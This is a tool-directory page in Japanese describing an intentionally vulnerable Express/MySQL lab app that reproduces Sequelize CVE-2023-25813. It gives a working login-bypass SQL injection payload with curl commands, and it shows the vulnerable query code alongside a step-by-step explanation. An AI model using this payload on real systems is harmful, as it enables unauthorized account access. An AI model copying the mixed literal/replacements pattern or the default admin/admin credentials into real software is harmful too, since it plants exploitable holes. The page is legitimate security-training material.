Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-25813-TEST — Sequelize Sql Injection 脆弱性実装 | Kitploit
ツール/GitHubGitHub/h-gunp/cve-2023-25813-test
脆弱性分析ウェブアプリケーション悪用学習と教育データベースセキュリティラボと実践
GitHubh-gunp/cve-2023-25813-test

CVE-2023-25813-TEST

Sequelize Sql Injection 脆弱性実装

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE Test App

Sequelize CVE-2023-25813 の動作をローカルで確認するための Express + MySQL 実習アプリです。

このプロジェクトは意図的に脆弱な Sequelize バージョンと脆弱なログインクエリパターンを維持しています。インターネットに公開せず、ローカルの Docker 実習環境でのみ実行してください。

構成

  • Web: Express, EJS
  • DB: MySQL 8.0
  • ORM: Sequelize 6.19.0
  • Docker DB ポート: localhost:3307
  • Web ポート: localhost:3000

主な機能:

  • 会員登録
  • ログイン/ログアウト
  • 現在の接続アカウント表示
  • 投稿の作成/編集/削除
  • アプリ起動時の DB 自動作成
  • アプリ起動時の admin アカウント自動作成
  • CVE-2023-25813 再現用ログインルート

環境変数

.env ファイルを使用します。例は .env.example を参照してください。

root@kitploit:~
DB_USER=root
DB_PASSWORD=YOUR_MYSQL_PASSWORD
DB_NAME=cve_test_db
DB_HOST=127.0.0.1
DB_PORT=3306
DB_FORWARD_PORT=3307
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin

Docker 実行時、アプリコンテナはローカル MySQL ではなく Compose 内部の db サービスを使用します。

root@kitploit:~
アプリコンテナ基準 DB_HOST=db
ホスト PC 基準 DB 接続ポート=3307

Docker 実行

Docker Desktop を起動した後、PowerShell で実行します。

root@kitploit:~
cd "C:\Users\hjshg\Desktop\cve-test-app"
docker compose up -d --build

ブラウザでアクセスします。

root@kitploit:~
http://localhost:3000

状態確認:

root@kitploit:~
docker compose ps
docker compose logs app --tail 50

停止:

root@kitploit:~
docker compose down

DB データまで初期化:

root@kitploit:~
docker compose down -v

DB 確認

Docker 内の MySQL に直接接続する場合:

root@kitploit:~
docker compose exec db mysql -uroot -p cve_test_db

パスワードは .env の DB_PASSWORD の値です。

Workbench などの GUI ツールでは以下の値で接続します。

root@kitploit:~
Host: 127.0.0.1
Port: 3307
User: root
Password: .envのDB_PASSWORD
Database: cve_test_db

DB が作成されていると、アプリログに次のようなメッセージが表示されます。

root@kitploit:~
cve_test_db データベース準備完了
admin 管理者アカウント準備完了
データベース接続成功
3000 番ポートで待機中

デフォルト管理者アカウント

アプリ起動時に .env の値で admin アカウントを自動作成します。

デフォルト値:

root@kitploit:~
ID: admin
パスワード: admin

ログインすると、メインページ上部に現在の接続アカウントが表示されます。

root@kitploit:~
現在の接続アカウント: admin

正常ログイン確認

ブラウザで /login に移動後:

root@kitploit:~
ID: admin
パスワード: admin

成功すると / に移動し、メインページに現在の接続アカウントが表示されます。

curl で確認する場合:

root@kitploit:~
curl.exe -i -X POST http://localhost:3000/login `
  -H "Content-Type: application/x-www-form-urlencoded" `
  --data-urlencode "username=admin" `
  --data-urlencode "password=admin"

成功基準:

root@kitploit:~
HTTP/1.1 302 Found
Location: /

CVE 実習ペイロード

ブラウザで /login に移動後、以下の値を入力します。

root@kitploit:~
ID: /**/OR/**/1=1)/**/#
パスワード: :username

成功すると /login?error=invalid ではなく / に移動します。メインページの現在の接続アカウントもログイン済みユーザーとして表示されます。

curl で確認:

root@kitploit:~
curl.exe -i -X POST http://localhost:3000/login `
  -H "Content-Type: application/x-www-form-urlencoded" `
  --data-urlencode "username=/**/OR/**/1=1)/**/#" `
  --data-urlencode "password=:username"

成功基準:

root@kitploit:~
HTTP/1.1 302 Found
Location: /

ペイロードの仕組み

脆弱なコードはログインルートにあります。

root@kitploit:~
const user = await User.findOne({
    where: and(
        literal('username = :username'),
        { password }
    ),
    replacements: { username: username }
});

正常ログインの場合、SQL はおおよそ次のような形になります。

root@kitploit:~
WHERE (username = 'admin' AND `User`.`password` = 'admin') LIMIT 1;

問題は literal('username = :username')、{ password }、replacements を同じクエリで混在させている部分です。Sequelize 6.19.0 では replacements がクエリ全体に適用されるため、ユーザーが入力した password 値内の :username も置換される可能性があります。

実習ペイロードは次のように入力します。

root@kitploit:~
username = /**/OR/**/1=1)/**/#
password = :username

このとき実際のクエリはログでおおよそ次のような形で表示されます。

root@kitploit:~
WHERE (
  username = '/**/OR/**/1=1)/**/#'
  AND `User`.`password` = ''/**/OR/**/1=1)/**/#''
) LIMIT 1;

各断片の意味:

  • password=:username: パスワード欄でも username の置換が再び発生するようにする核心です。
  • /**/: MySQL でコメントとして扱われるブロックです。空白のように動作するため、OR の前後の空白が削られても SQL トークンが分離されます。
  • OR 1=1: 常に真となる条件を追加します。
  • ): Sequelize が生成した AND(...) 条件グループを閉じます。
  • #: MySQL の一行コメントです。後ろに続く残りの引用符と LIMIT 1 周辺の断片をコメントアウトし、構文エラーを回避します。

結果として条件が常に真になり、最初のユーザー行が取得され、アプリはログイン成功として処理します。

よくあるエラー

SQL syntax error が出る場合

次のように空白に依存するペイロードは、ブラウザ入力の過程で前後の空白が消えると失敗する可能性があります。

root@kitploit:~
 OR 1=1) -- 

MySQL の -- コメントは後ろに空白が必要です。空白が抜けるとコメントとして認識されず、構文エラーになります。

このプロジェクトでは以下のペイロードを推奨します。

root@kitploit:~
ID: /**/OR/**/1=1)/**/#
パスワード: :username

DB がローカル MySQL に見えない場合

Docker 実行時、DB はローカル MySQL サーバーではなく Docker の db コンテナに作成されます。ホスト PC から見るには localhost:3307 に接続してください。

npm audit 警告が出る場合

正常です。このアプリは CVE 実習のために脆弱な Sequelize バージョンを維持しています。

root@kitploit:~
[email protected]

npm audit fix を実行すると、実習対象の脆弱性が消える可能性があります。

ツールをダウンロード